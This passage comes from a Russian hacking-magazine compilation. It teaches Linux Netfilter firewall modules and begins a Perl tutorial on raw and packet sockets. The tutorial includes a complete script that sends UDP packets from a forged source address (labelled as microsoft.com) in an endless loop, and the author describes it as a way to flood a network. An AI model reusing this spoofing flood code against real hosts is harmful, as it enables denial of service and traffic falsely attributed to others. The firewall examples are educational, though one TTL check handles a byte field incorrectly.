111         h ^= h >> 16;
112         h ^= h >> 8;
113         return h & (tcp_ehash_size - 1);
114 }

Тут стоит сделать одно важное замечание - локальный порт передается в обычном виде (LittleEndian), а порт назначения в сетевом порядке байт (BigEndian), т.е. необходимо выполнить htons(dest). После извлечения сокета доступ к структуре tcp_sock производится очень просто:

struct tcp_sock *tp;
tp=(struct tcp_sock *)sk;

Ну а дальше, что вашей душе угодно.

В приложении можно найти исходный код для ядра 2.6.12 и 2.6.18. Используя NetFilter[4], модуль перехватывает все входящие пакеты и анализирует их. Если этот пакет относится к искомому соединению, тогда мы вычисляем хеш, получаем указатель на сокет, извлекаем его, и через него получаем доступ к tcp_sock. Если не понятно, читайте все сначала :).

Примечание

Помимо различий в самой ветке 2.6., существует несколько отличий при подключении к TCP стеку в 2.4. Но все отличие заключается в другом названии структур и немного отличный способ извлечения сокета. Принцип остается тем же.

Автор выражает благодарность за помощь при подготовке данной статьи Игумнову А.С. и Шарфу С.В. из ИММ УрО РАН.

Список литературы

  1. Эффективность связывания гигабитных каналов в вычислительных кластерах.
  2. A Map of the Networking Code in Linux Kernel 2.4.20 - googling
  3. Network Buffers And Memory Management
  4. В этом же номере журнала.
  5. Linux kernel


Linux, Kernel, Firewall

Автор: ilya
ilya [ dog or doggy :) ] hackerdom.ru

  1. Введение
  2. Netfilter Hacking
  3. Firewall своими руками
  4. Пример norm.c
  5. Список литературы

Введение

Каждый уважающий себя администратор Linux должен уметь не только настраивать iptables, но и знать, как он работает. В этой статье речь пойдет не о том, как правильно настраивать iptables или какой-нибудь другой firewall, а о том, как работают firewall’ы в Linux.

В первую очередь, эта статья нацелена на читателей, которые занимаются (начинают или только хотят начать) программированием модулей ядра Linux (Linux Kernel Module – LKM), а также, надеюсь, поможет некоторым администраторам более детально разобраться в работе iptables. Все примеры в статье написаны для ядра 2.6.12.

Netfilter Hacking

Что такое netfilter и какое отношение он имеет к firewall’ам? В основном, Netfilter представляет собой набор функций (hook) расположенных в ядре, при помощи которых firewall’ы могут получать доступ к пакетам и, основываясь на правилах, решать, как с ними поступать дальше. Netfilter содержит 5 основных hook-функций, которые описаны в linux/netfilter_ipv4.h. Графически их можно изобразить так:

[INPUT]--->[1]--->[ROUTE]--->[3]---->[4]--->[OUTPUT]

             |	              ^
             |		      |
             |		   [ROUTE]
             v		      |
            [2]		     [5]
             |		      ^
             |		      |
             v		      |
          [INPUT*]	   [OUTPUT*]

Описание:

[1] NF_IP_PRE_ROUTING – наша функция срабатывает, как только мы получаем пакет, даже если он проходящий. Если мы хотим иметь доступ ко всем пакетам, проходящим через наш интерфейс, то мы должны использовать эту функцию.
[2] NF_IP_LOCAL_IN – срабатывает в случае, когда пакет адресован нам, перед поступлением его в сетевой стек.
[3] NF_IP_FORWARD – если пакет необходимо смаршрутизировать с одного интерфейса на другой.
[4] NF_IP_POST_ROUTING – для исходящих пакетов из нашего сетевого стека.
[5] NF_IP_LOCAL_OUT – для всех исходящих пакетов.

После вызова функции и проведения нехитрых проверок над пакетом, нам нужно вынести вердикт, что делать с этим пакетом дальше. В нашем распоряжении 5 вариантов:

[1] NF_ACCEPT – пропускает пакет дальше.
[2] NF_DROP – отбрасывает пакет.
[3] NF_REPEAT – повторный вызов функции.
[4] NF_STOLEN – забирает пакет (прекращается передвижение).
[5] NF_QUEUE – ставит пакет в очередь, как правило, для передачи в пользовательское пространство (мы ведь работаем в пространстве ядра).

Вот собственно и все, что нужно для нормальной работы любого firewall’а в Linux. С одной стороны, набор функций, позволяющий получать доступ к пакетам практически в любой точке сетевого стека, а с другой, набор решений, как поступить с пакетом дальше.

/*
 * Я думаю что администраторам дальше можно не читать, там пойдет объяснение структур, правильность
 * их заполнения, а также примеры использования. Вся теория работы firewall’а заканчивается.
 */

Теперь попытаемся разобраться, как все это работает! Первым делом нам нужно познакомиться со структурой nf_hook_ops, она и будет нашим проводником в мир netfilter’a. Описание её можно найти в /Linux/netfilter.h:

44 struct nf_hook_ops
45 {
46         struct list_head list;
47
48         /* User fills in from here down. */
49         nf_hookfn *hook;
50         int pf;
51         int hooknum;
52         /* Hooks are ordered in ascending priority. */
53         int priority;
54 };

Первое что мы видим, это “struct list_head list” – это структура, которая содержит список всех hook-функций, но нас она не сильно интересует.
nf_hookfn *hook – указатель на нашу функцию, в которой мы будем проводить все наши проверки. Возвращаемое значение должно быть одно из 5-и поведений (NF_ACCEPT, NF_DROP, ...).
int pf – служит для определения протокола, с которым мы хотим работать (PF_INET)
int hooknum – а вот и место нашего вызова. (например NF_IP_PRE_ROUTING)
int priority – приоритет. В случае если определено несколько функций на один вызов, первым сработает тот, у кого выше приоритет. Мы будем использовать – NF_IP_PRI_FIRST.

Не поверите, но это все! Остается лишь маленькое дополнение. После того как мы объявим и заполним нашу структуру, её необходимо зарегистрировать. Для этого служат 2-е функции, которые объявлены все в том же /Linux/netfilter.h:

89 /* Function to register/unregister hook points. */
90 int nf_register_hook(struct nf_hook_ops *reg);
91 void nf_unregister_hook(struct nf_hook_ops *reg);

Первая из них - это nf_register_hook, служит для регистрации нашей hook-функции. А nf_unregister_hook – для удаления нашей функции из цепочки.

Ничего особенного, просто банальное предупреждение. Обязательно выгружайте ваши функции при выгрузке модуля из памяти при помощи nf_unregister_hook. Если этого не сделать, произойдет очень неприятная вещь. Придет пакет, сработает наш вызов, ядро попытается обратиться к странице памяти для вызова нашей функции для обработки, а там…. эээ в лучшем случае ничего, в худшем ..кто-то занял наше место и тогда результат буде непредсказуем.

Firewall своими руками

Для примера напишем маленький firewall. Который будет беспощадно уничтожать все входящие и исходящие пакеты.

bash$ > cat firewall.c

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/netfilter_ipv4.h>
#include <linux/netfilter.h>

MODULE_LICENSE ("GPL v2");
MODULE_AUTHOR ("ill");
MODULE_DESCRIPTION ("Firewall");

/*
* Объявление структур. Мы объявим 2-е структуры.
* 1-я для входящих пакетов
* 2-я для исходящих пакетов
*/

struct nf_hook_ops nf_incoming;
struct nf_hook_ops nf_outgoing;
int i=1;

unsigned int main_hook (unsigned int hooknum,
            struct sk_buff **skb,
            const struct net_device *in,
            const struct net_device *out,
            int (*okfn)(struct sk_buff *))
{

/* Для примера, мы будем отбрасывать все пакеты */

return NF_DROP;
}

int init_module (void)
{

/*
* Заполнение структур
* Сначала, заполним структуру для входящих пакетов
*/

nf_incoming.hook=main_hook;
nf_incoming.pf=PF_INET;
nf_incoming.hooknum=NF_IP_PRE_ROUTING;
nf_incoming.priority=NF_IP_PRI_FIRST;

/* Теперь для исходящих */

nf_outgoing.hook=main_hook;
nf_outgoing.pf=PF_INET;
nf_outgoing.hooknum=NF_IP_POST_ROUTING;
nf_outgoing.priority=NF_IP_PRI_FIRST;

/* Вроде все, осталось только зарегистрировать наши функции */

nf_register_hook(&nf_incoming);
nf_register_hook(&nf_outgoing);

printk ("FireWall loaded\n");

return 0;
}

void cleanup_module (void)
{

/* Не забываем удалить наши вызовы :), а то конфуз может случиться */

nf_unregister_hook(&nf_incoming);
nf_unregister_hook(&nf_outgoing);

printk ("FireWall unload\n");

}

Ну вот. Все очень просто! Теперь компилируем наш модуль, для этого я пользуюсь вот таким Makefile'ом: (предположим, что исходный код сохраним с именем firewall.c, а исходники ядра находится в папке /usr/src/linux).

obj-m += firewall.o

all:
    make -C /usr/src/linux/ M=${PWD} modules
clean:
    make -C /usr/src/linux/ M=${PWD} clean

И запускаем: insmod firewall.ko (иногда приходится запускать с ключом -f: insmod -f firewall.ko, а то ему версии не нравятся, но кому не лень, можно в модуле прописать все данные о версии ядра :). Посмотрите /var/log/messages – если увидите "FireWall loaded", значит наш модуль загрузился. Теперь, если вы попробуете подключиться к кому-нибудь, или наоборот, кто-то захочет к вам подключиться, ничего не выйдет. Наш модуль не пропустит ни одного пакета. Чтобы вернуть все на место, просто выгрузите модуль командой rmmod firewall.

Вот пример firewall’a в 60 строк, включая заголовки. Не сложно, правда..!!! :) Теперь перейдем к более сложным вещам. Но совсем на чуть-чуть.

Пример norm.c

В этом примере мы будем проводить небольшой анализ захваченного нами пакета. Наша программа будет анализировать заголовки пакета и в случае неудовлетворения правилам будет удалять его или править. Итак, для начала, небольшое введение в структуру sk_buff:

sk_buff – это буфер для работы с пакетами. Как только приходит пакет или появляется необходимость его отправить, создается sk_buff куда и помещается пакет, а также сопутствующая информация, откуда, куда, для чего… На протяжении всего путешествия пакета в сетевом стеке используется sk_buff. Как только пакет отправлен или данные переданы пользователю, структура уничтожается, тем самым освобождая память. Описание этой структуры можно найти в linux/skbuff.h. Она очень большая, я не буду выкладывать её сюда :) Все, что мы будем использовать из неё, это:

Protocol – чтобы знать, с каким протоколом сетевого уровня мы имеем дело.
Data – место, где лежит пакет.

Более подробно о работе sk_buff можно почитать в Интернете, информации о нем море, а что касается практической части, советую почитать статью "Building Into The Linux Network Layer" из phrack №55

Ну вроде все, с теорией маленько разобрались. Теперь определимся, что и как мы будем делать. Так как это лишь пример использования, я не буду заострять внимание над нормализацией конкретного протокола, просто пробежимся немного по протоколам и все:

  1. IP– проверка протокола следующего уровня (пропускать только TCP, UDP, ICMP).
  2. IP – если поле TTL < 10 увеличиваем до 100 (не забывайте пересчитывать контрольную сумму :) после
    изменения содержимого пакета).
  3. ICMP – пропускаем только следующие пары:
        Type=0 Code=0 – ответ (echo_reply) на ping
    Type=3 Code=0–15 -назначение недоступно (сеть, хост, порт…)
    Type=8 Code=0 – запрос (echo) на ping
  4. TCP – заблокируем порт 31337!

bash$ > cat norm.c

#include <linux/module.h> /* Эйй, мы ведь пишем модуль  к ядру */
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>

/*подключаем заголовки для работы с сетевыми протоколами */
/* и собственно говоря sk_buff */

#include <linux/skbuff.h>
#include <linux/inet.h>
#include <linux/ip.h>
#include <net/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <asm/uaccess.h>

/* Увековечим свое имя Aha-ha… */

MODULE_LICENSE ("GPL v2");
MODULE_AUTHOR ("ill");
MODULE_DESCRIPTION ("Firewall");

struct nf_hook_ops nf_incoming;
struct sk_buff *skbf;
struct tcphdr *th;
struct icmphdr *icmph;
struct iphdr *iph;

unsigned int main_hook (unsigned int hooknum,
            struct sk_buff **skb,
            const struct net_device *in,
            const struct net_device *out,
            int (*okfn)(struct sk_buff*))
{
skbf=*skb;

/* Работаем только с IP */
if (skbf->protocol != htons(ETH_P_IP))
        return NF_ACCEPT;

/* Пропускаем только ICMP, TCP & UDP */

if (skbf->nh.iph->protocol != IPPROTO_TCP
    &&  skbf->nh.iph->protocol != IPPROTO_ICMP
    && skbf->nh.iph->protocol != IPPROTO_UDP)
    return NF_DROP;

/* Проверка поля ttl */

if (ntohs(skbf->nh.iph->ttl)<10)
{
    skbf->nh.iph->ttl=htons(100);
    ip_send_check(skbf->nh.iph); /* подсчет checksum */
    return NF_ACCEPT;

}

/* Проверка ICMP, что мы здесь делаем, я думаю вы знаете :) */

if (skbf->nh.iph->protocol==IPPROTO_ICMP)
{
    skbf->h.icmph=(struct icmphdr *)(skbf->data+(skbf->nh.iph->ihl*4));
    if (skbf->h.icmph->type==ICMP_ECHOREPLY && skbf->h.icmph->code==0)
        return NF_ACCEPT;

    if (skbf->h.icmph->type==ICMP_DEST_UNREACH)
        return NF_ACCEPT;

    if (skbf->h.icmph->type==ICMP_ECHO && skbf->h.icmph->code==0)
        return NF_ACCEPT;

return NF_DROP;
}

/* Блокируем TCP, если порт источника или назначения 31337, и при этом делаем запись */
/* в messages */

if (skbf->nh.iph->protocol==IPPROTO_TCP)
{
    skbf->h.th=(struct tcphdr *)(skbf->data+(skbf->nh.iph->ihl*4));
    if (skbf->h.th->dest==htons(31337) || skbf->h.th->source==htons(31337))
    {
        printk ("Hacking attempt :) Good bye, young kiddies\n");
        return NF_DROP;
    }

return NF_ACCEPT;
}

/* Хех, если все прошло гладко, и никто не попал под наш мини-нормализатор */
/* милости просим в сетевой стек!!! */

return NF_ACCEPT;
}

int init_module ()
{

    nf_incoming.hook     = main_hook;
    nf_incoming.pf       = PF_INET;
    nf_incoming.hooknum  = NF_IP_PRE_ROUTING;
    nf_incoming.priority = NF_IP_PRI_FIRST;

    nf_register_hook(&nf_incoming);

    printk ("FireWall loaded\n");

    return 0;
}

void cleanup_module ()
{
nf_unregister_hook(&nf_incoming);

printk ("FireWall unload\n");

}

Ну вот и все, ребята. Теперь вы знаете, как работают firewall’ы в Linux и даже сможете написать свой собственный, знаете для чего служит netfilter и познакомились немного с работой сетевого стека ядра. Как видите, ничего сложного. Пару строк кода, и вы получаете доступ к святая святых, вы можете вертеть протоколами как угодно, менять их заголовки, отслеживать неприятеля и многое-многое другое…

P.S. Может кто подскажет, а как в Windows работает fireWall? :)

Список литературы

  1. Энциклопедия разработчика модулей ядра Linux (Linux Kernel Module Programming Guide)
  2. The Linux Kernel Module Programming Guide (на русском)
  3. Unreliable Guide To Hacking The Linux Kernel
  4. Hacking the Linux Kernel Network Stack


Raw & Packet Sockets in PERL

(for a programmer, a kernel hacker, or really really into security)

Автор: Art
banan4eg [ banan ] hackerdom.ru

  1. О статье
  2. Введение
  3. Что такое сокеты
  4. Отправка UDP пакета через raw socket
  5. Прием пакетов через packet socket
  6. Отправка пакетов через packet socket
  7. Заключение
  8. Литература
"Бывают люди, которым знание латыни не мешает все-таки быть ослами".
Мигель Сервантес де Сааведра

О статье

Данная статья попытается освятить проблему получения и отправки пакетов с использованием низкоуровневых сокетов (raw и packet) в языке программирования PERL. Предполагается, что читатель знаком с принципами работы сокетов в OS Linux и встречался с языками PERL и С. Конечно же, существуют различные модули, которые позволяют отправлять и получать пакеты с сетевого и канального уровней, но одни написаны на C (Net::RawIP), а другие используют PCAP (Net::RawIP, Net::Write, Net::Packet). В то время как PERL под операционной системой Linux способен все делать самостоятельно. Все, о чем говорится в этой статье, проверено на OS Debian с ядром 2.4.27 и ядром 2.6.18 и OS Mandrake с ядром 2.6.12. В качестве протокола сетевого уровня будет использоваться IP(4), а транспортным протоколом будет UDP(17). Для запуска предложенных примеров вам потребуются права root (для работы с низкоуровневыми сокетами приложение должно исполняться от имени пользователя с эффективным идентификатором UID=0 или иметь флаг CAP_NET_RAW). Подробнее о флаге CAP_NET_RAW можно посмотреть в man'ах (man(2) capget, man(2) capset, man(7) capabilities).

Введение

Однажды я наткнулся на довольно интересную статью. В ней рассказывалось об одном парне по имени Стив Гибсон, владельце GRC (Gibson Research Corporation). Сеть его компании подверглась DoS-атаке (хакер наводнил ее UDP-пакетами). И в этой статье часто встречалось понятие «низкоуровневых сокетов». Мне стало интересно, что же это такое. Очень способствовала этому интересу проблема, вставшая перед нашей командой. В связи с ответным матчем со сборной г.Челябинска нашей команде необходимо было написать снифер для мониторинга некоторых сетевых служб: POP3, FTP, telnet и др.. Писать для этих целей модуль к ядру или свой драйвер для сетевой карты – слишком сложно. Поэтому задача состояла в том, чтобы создать самодостаточную, т.е. не требующую установки дополнительных модулей, программу под операционную систему Linux. Решено было использовать для этих целей язык PERL. Ловить пакеты можно было, используя низкоуровневые сокеты. Вот тут-то я столкнулся с основной проблемой – в Internet очень мало информации по работе с raw и packet sockets в PERL'е. Встречается такая фраза: «Также существуют Raw socket, но о них как-нибудь в другой раз.» По правде говоря, этого «другого раза» я так и не нашел. Так и появилась данная статья.

Что такое сокеты

Начнем с самого понятия socket. Как говорит Linux Programmer's Manual, socket создает "конечную точку для коммуникации и возвращает дескриптор". Для его создания служит "C-шная" функция:

int socket (int domain, int type, int protocol);

Описание:
domain – определяет семейство используемых протоколов. Мы будем использовать либо AF_INET (его синоним – PF_INET), которое определяет семейство протоколов IPv4, либо PF_PACKET, определяющее низкоуровневый packet interface.

type – определяет тип протокола, используемый внутри семейства. Выделяют несколько типов:

  • SOCK_STREAM – обеспечивает последовательный, надежный, ориентированный на установление двусторонней связи поток байтов.
  • SOCK_DGRAM – датаграммная передача без установления соединения. Не гарантируется, что этот поток будет последовательным, надежным, и что данные не будут дублироваться.
  • SOCK_RAW – доступ к получению/формированию заголовков протоколов сетевого уровня модели OSI и всех вышележащих протоколов.
  • SOCK_PACKET – доступ к получению/формированию кадров данных. Это устаревший тип.
protocol – используемый протокол.

Подробнее об этом можно почитать в man'ах (man (2) socket).

Теперь разберемся с тем, на каких уровнях модели OSI работают перечисленные типы протоколов. SOCK_STREAM и SOCK_DGRAM (наиболее часто используемые для них протоколы это соответственно TCP и UDP) находятся на транспортном уровне. SOCK_RAW опускается ниже и находится на сетевом уровне (будем использовать протокол IPPROTO_RAW). Ну и SOCK_PACKET'у предоставлен канальный уровень (протокол ETH_P_ALL).

Далее рассмотрим флаг IP_HDRINCL, который нам в дальнейшем будет нужен. С его помощью мы даем ядру OS знать, что наше приложение получает доступ к изменению некоторых полей заголовка IP (и всего, что выше), а именно:

Source Address | Если установлено в ноль, то заполняется нами, иначе - ядром OS.
Packet Id | Аналогично, если там ноль, то заполняем мы, иначе - ядро.
Total Length | Заполняется в соответствии с реальным размером пакета ядром OS.

Если задан флаг IP_HDRINCL, и заголовок IP содержит ненулевой адрес получателя, тогда для маршрутизации пакета используется адрес получателя, заданный для сокета. За этот адрес отвечает структура sockaddr (include/linux/socket.h):

struct sockaddr {
    sa_family_t     sa_family;     /* address family, AF_xxx       */
    char            sa_data[14];   /* 14 bytes of protocol address */
};

Всякие sockaddr_in, sockaddr_ll, sockaddr_pkt – это cделано только для простоты работы с этим самым sockaddr. С производной sockaddr (а именно sockaddr_in) связана забавная вещь: если в этой структуре указать один IP-адрес, а в пакете в поле "Destination IP" другой, то пакет все равно уходит, причем на IP-адрес, указанный в самом пакете, а не на тот, что указан в sockaddr_in.

Но вернемся к флагу... Если мы хотим отправлять пакеты с транспортного уровня, но оставить за собой возможность редактирования заголовков сетевого, то нам необходимо установить эту опцию. Протокол IPPROTO_RAW тоже предполагает наличие флага IP_HDRINCL (устанавливается с помощью функции setsockopt()), но в моей версии Linux – по умолчанию IP_HDRINCL = 1 (файл net/ipv4/af_inet.c, функция inet_create()):

if (SOCK_RAW == sock->type) {
    inet->num = protocol;
    if (IPPROTO_RAW == protocol)
        inet->hdrincl = 1;
        ...
Подробнее о флагах можно посмотреть в man (7) raw.

Отправка UDP пакета через raw socket

Для работы с сокетами используется модуль Socket.pm. Он экспортирует функции, описанные в header-файле socket.h (я нашел такой файл по адресу /usr/include/linux/socket.h). В PERL для создания сокета служит функция socket(). Ее главное отличие от аналогичной функции C состоит в передаче первым параметром дескриптора будущего сокета:

socket(SOCKET, DOMAIN, TYPE, PROTOCOL);
Для начала подключим необходимый модуль. Для этого напишем:
use Socket;
Так как мы хотим отправить UDP пакет при помощи raw socket (т.е. с сетевого уровня), нам нужно сказать, что мы будем использовать семейство протоколов PF_INET. В типе протокола нужно указать SOCK_RAW. Ну и соответственно, вместо параметра "protocol" передадим номер протокола IPPROTO_RAW – протокол, дающий доступ к любым протоколам IP.
Для получения номера протокола по его имени в PERL существует функция getprotobyname ($protocol). В итоге получим что-то наподобие этого:
socket(SOCKET, PF_INET, SOCK_RAW, getprotobyname(IPPROTO_RAW));
Сохраняем, запускаем. Тишина... Неужели получилось? Слишком быстро как-то. А все ли работает? Допишем к строчке открытия сокета просьбу сообщить нам, если что-то не так. Для подобных целей в PERL служит функция die().
socket(SOCKET, PF_INET, SOCK_RAW, getprotobyname(IPPROTO_RAW)) or die "Can't open raw socket: $!\n";
где $! – будет содержать информацию, почему же не получилось.
Запускаем и вдруг вылетаем с ошибкой:
Can't open raw socket: Socket type not supported
В чем же дело? Неужели PERL не умеет открывать raw sockets? Или он просто не знает какой-то константы? Проверим эту догадку. В ошибке говорится, что не поддерживается тип SOCK_RAW. Используя древнейший способ отладки программ, запишем:
print SOCK_RAW, "\n";
Программа вывела "3". Может PERL не знает значение константы IPPROTO_RAW? Пишем:
print IPPROTO_RAW, "\n";
Вылетаем с ошибкой:
No comma allowed after filehandle
Bingo!!! Видимо, PELR'у не известно значение этой константы. Как же быть? Попробуем указать PERL'у не символьное обозначение, а сам номер. Поискав немного, находим в файле /usr/include/linux/in.h строчку:
IPPROTO_RAW = 255 /* Raw IP packets*/
Подставляем вместо IPPROTO_RAW число 255:
socket(SOCKET, PF_INET, SOCK_RAW, 255) or die "Can't open raw socket: $!\n";
И все работает! Отлично. Теперь в начале файла для удобства дальнейшего использования можно определить константу IPPROTO_RAW
use constant IPPROTO_RAW => 255;
и писать:
socket(SOCKET, PF_INET, SOCK_RAW, IPPROTO_RAW) or die "Can't open raw socket: $!\n";

Когда сокет создан, можно наконец-то приступить к формированию UDP-пакета. Его мы будем инкапсулировать в IP-пакет. Для начала разберемся со структурой этих пакетов. Начнем с IP пакета (см. RFC 791):

              0               1               2               3
                     0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                |Version|  IHL  |Type of Service|          Total Length         |
                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                |         Identification        |Flags|      Fragment Offset    |
                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                |  Time to Live |    Protocol   |         Header Checksum       |
                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                |                       Source Address                          |
                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                |                    Destination Address                        |
                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                |                    Options                    |    Padding    |
                +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Если бы мы писали на C, то для заполнения полей IP-заголовка мы бы создали структуру:
struct ipheader {
    unsigned char IP_HeaderLength:4, IP_Version:4;
    /*IP_HeaderLength - длина в 32-битных словах, IP_Version  - версия протокола IP (IPv4) */
    unsigned char IP_TypeOfService;		//чаще всего не используется (пишут 0)
    unsigned short int IP_Length;		//длина IP-датаграммы
    unsigned short int IP_Id;		//идентификатор
    unsigned short int IP_Offset;		//используется для фрагментированных датаграмм
    unsigned char IP_Ttl;			//время жизни (количество прыжков)
    unsigned char IP_Protocol;		//используемый транспортный протокол
    unsigned short int IP_CRC;		//контрольная сумма заголовка
    unsigned int IP_Source;			//IP-адрес источника
    unsigned int IP_Destination;		//IP-адрес назначения
};	//20 bytes
После этого нужно ее заполнить и отправить. Никаких проблем, кроме одной. Мы пишем на PERL'е. Структуры там создавать нельзя. Да и незачем. Ведь там есть функция pack(). Больше ничего не потребуется. Для начала обнулим переменную, содержащую будущий пакет:
$packet = undef;
Затем начинаем заполнять поля. Так как поля "Version" и "IHL" – в одном байте, то и упаковывать их будем вместе. В поле Version запишем 4, длину же IP-заголовка установим в 20 байт (т.е содержать это поле будет значение 5). В итоге этот байт должен выглядеть как: 01000101 (или 69 в десятичном виде). На языке PERL это описывается следующим образом:
$packet .= pack("C", 69);
где шаблон "C" – это однобайтовое целое без знака.

Далее у нас идет однобайтовое поле Type-of-Service. Там обычно пишут ноль. Не будем и мы отступать от этого правила:
$packet .= pack ("H2", '00');
где шаблон "H2" – шестнадцатеричная строка, в которой старшая тетрада идет первой.
Двухбайтовое поле "Total Length" мы заполним значением 28: 20 байт на IP-заголовок и 8 байт на заголовок UDP (данных не будет).
$packet .= pack ("n", 28);
где шаблон "n" – двухбайтовое целое без знака, старший байт идет первым.
Не будем долго ломать голову над тем, что писать в двухбайтовом поле "Identification", а напишем там просто ноль (вообще – это неправильно, но ведь наша задача – просто отправить пакет).
$packet .= pack ("n", 0);
Поля "Flags" и "Fragment offset" составляют вместе 2 байта (3 бита – "Flags", 13 – "Fragment offset"). Упакуем их вместе, указав флаг "DF" (Don't fragment) и значение "Fragment offset" установив в ноль:
$packet .= pack ("H4", '4000');
Однобайтовое поле "Time-to-live" установим в 64 hops (прыжка):
$packet .= pack ("C", 64);
В однобайтовое поле Protocol запишем номер протокола UDP:
$packet .= pack ("C", getprotobyname('udp'));
Поле контрольной суммы заполнять не нужно (ядро посчитает ее за нас). Достаточно просто указать там ноль:
$packet .= pack ("n", 0);
Далее нужно указать два IP-адреса: "Source" и "Destination". Для начала упакуем IP-адрес источника:
$source_ip = '127.0.0.1';
$result_source_ip = undef;
for (split('\.', $source_ip)){		#разбиваем по точкам
    $result_source_ip .= pack ("C", $_)
}
$packet .= $result_source_ip;
Аналогичную операцию производим с IP-адресом назначения:
$destination_ip = '192.168.139.1';
$result_destination_ip = undef;
for (split('\.', $destination_ip)){ 	#разбиваем по точкам
    $result_destination_ip .= pack ("C", $_)
}
$packet .= $result_destination_ip;
Заголовок IP готов! Теперь необходимо заполнить UDP заголовок (RFC 768). Его формат таков:
                   0       7 8     15 16    23 24     31
                   +--------+--------+--------+--------+
                   |     Source      |   Destination   |
                   |      Port       |      Port       |
                   +--------+--------+--------+--------+
                   |                 |                 |
                   |     Length      |    Checksum     |
                   +--------+--------+--------+--------+
                   |                                   |
                   |          data octets              |
                   +-----------------------------------+
На С эта структура выглядела бы следующим образом:
struct udpheader {
    unsigned short int UDP_SourcePort;		//порт источника
    unsigned short int UDP_DestinationPort;		//порт назначения
    unsigned short int UDP_Length;			//длина заголовка UDP + данные
    unsigned short int UDP_CRC;			//контрольная сумма UDP (можно писать ноль)
};	//8 bytes
Заполняем двухбайтовые поля "Source Port" и "Destination Port":
$packet .= pack ("n", 25); #порт источника
$packet .= pack ("n", 80); #порт назначения
Далее заполним длину UDP заголовка:
packet .= pack ("n", 8);
Контрольную сумму UDP пакета можно не указывать (что мы и сделаем):
$packet .= pack ("H4", '0000');
Вот мы и получили UDP пакет, готовый к отправке. Самое время послать его в сеть. Для этих целей в PERL есть функция
send (socket, message, flags, destination?);

Поле "destination" является необязательным. Оно используется, если локальный сокет не соединен с удаленным (это как раз наш случай). Необходимо явно указать упакованный адрес "destination". Для упаковки пользуются структурой sockaddr, но для удобства воспользуемся её производной sockaddr_in. Существенно облегчает нашу жизнь то, что функция, при помощи которой можно заполнить эту структуру, уже определена в модуле Socket.pm. Как это ни удивительно, но функция эта тоже носит название sockaddr_in. В параметрах ей передается порт и адрес назначения. Адрес назначения должен быть представлен в сетевом виде. Для этого воспользуемся функцией inet_aton ($param). В итоге получим:

$iaddr = inet_aton ('192.168.139.1');
$paddr = sockaddr_in (80, $iaddr); #80 – порт назначения
Т.е. функция send будет выглядеть как-то так:
send(SOCKET, $packet, 0, $paddr) or die "Can't send packet: $!\n";
Вот мы и написали программу на raw sockets, способную наводнять сеть UDP пакетами. С ее помощью можно подменить IP-адрес источника. Можно запросто отправлять пакеты с IP-адреса 207.46.197.32 (microsoft.com), содержащие произвольные данные.
Текст программы

#!/usr/local/bin/perl

use Socket;
use constant IPPROTO_RAW => 255;

$iaddr = inet_aton ('192.168.139.1');
$paddr = sockaddr_in (80, $iaddr); #80 - порт назначения

socket(SOCKET, PF_INET, SOCK_RAW, IPPROTO_RAW) or die "Can't open raw socket: $!\n";

$packet = undef;
$packet .= pack("C", 69);
$packet .= pack ("H2", '00');
$packet .= pack ("n", 28);
$packet .= pack ("n", 0);
$packet .= pack ("H4", '4000');
$packet .= pack ("C", 64);
$packet .= pack ("C", getprotobyname('udp'));
$packet .= pack ("n", 0);

$source_ip = '207.46.197.32';
$result_source_ip = undef;
for (split('\.', $source_ip)){   #разбиваем по точкам
    $result_source_ip .= pack ("C", $_)
}
$packet .= $result_source_ip;

$destination_ip = '192.168.139.1';
$result_destination_ip = undef;
for (split('\.', $destination_ip)){   #разбиваем по точкам
    $result_destination_ip .= pack ("C", $_)
}
$packet .= $result_destination_ip;

$packet .= pack ("n", 25); #порт источника
$packet .= pack ("n", 80); #порт назначения
$packet .= pack ("n", 8);
$packet .= pack ("H4", '0000');

while(){
    send(SOCKET, $packet, 0, $paddr) or die "Can't send packet: $!\n";
    sleep 1;  #поспим некоторое время, чтобы не сильно DoS'ить сеть.
}

Прием пакетов через packet socket

Итак, работать с raw sockets мы более-менее научились. Теперь пришло время для самого интересного и захватывающего!!! Мы будем учиться работать с paсket sockets, которые используются для приема и передачи необработанных пакетов на канальном уровне, т.е. мы сможем сами собирать пакет со всеми заголовками, включая заголовки Ethernet. Никаких границ, полная свобода, творческий полет. Можно отправлять в сеть все, что хочется. Интригующе, не так ли? Но приступим к делу.

Для начала немного теории. Как гласит "Linux Programmer's Manual", packet sockets используются для получения или отправки «сырых» пакетов с канального уровня. Пакеты при этом передаются и принимаются от драйвера устройства без каких-либо изменений в данных. При передаче пакета полученный от пользователя буфер должен содержать заголовок канального уровня. Такой пакет передается без изменений драйверу сетевого интерфейса, указанного в поле адреса получателя. Далее – пакет уходит в сеть. Вроде бы звучит несложно. Посмотрим, как оно на самом деле. Для начала попробуем реализовать прием пакетов с сетевой карты.

Как и раньше, для начала подключим модуль Socket.pm:
use Socket;
